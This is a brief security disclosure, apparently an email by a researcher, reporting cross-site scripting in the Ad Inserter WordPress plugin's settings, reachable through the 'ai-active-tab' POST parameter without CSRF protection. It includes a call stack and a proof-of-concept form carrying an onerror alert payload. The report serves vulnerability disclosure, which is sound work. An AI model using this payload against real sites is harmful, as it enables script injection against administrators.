Hello,
1. Cross-Site Scripting (XSS)
Authenticated administrators can inject html/js code (there is no CSRF protection).
Method: POST
Vulnerable parameter: ai-active-tab
Example PHP callstack:
ai_settings [/ad-inserter/ad-inserter.php:696]
print_settings_form [/ad-inserter/settings.php:516]
Verification:
--
<input type="text" name="ai-active-tab" value='"><img src=x onerror=alert(1) />'>
<input type="submit" />
</form>
--
--
Regards,
Marcin Probola,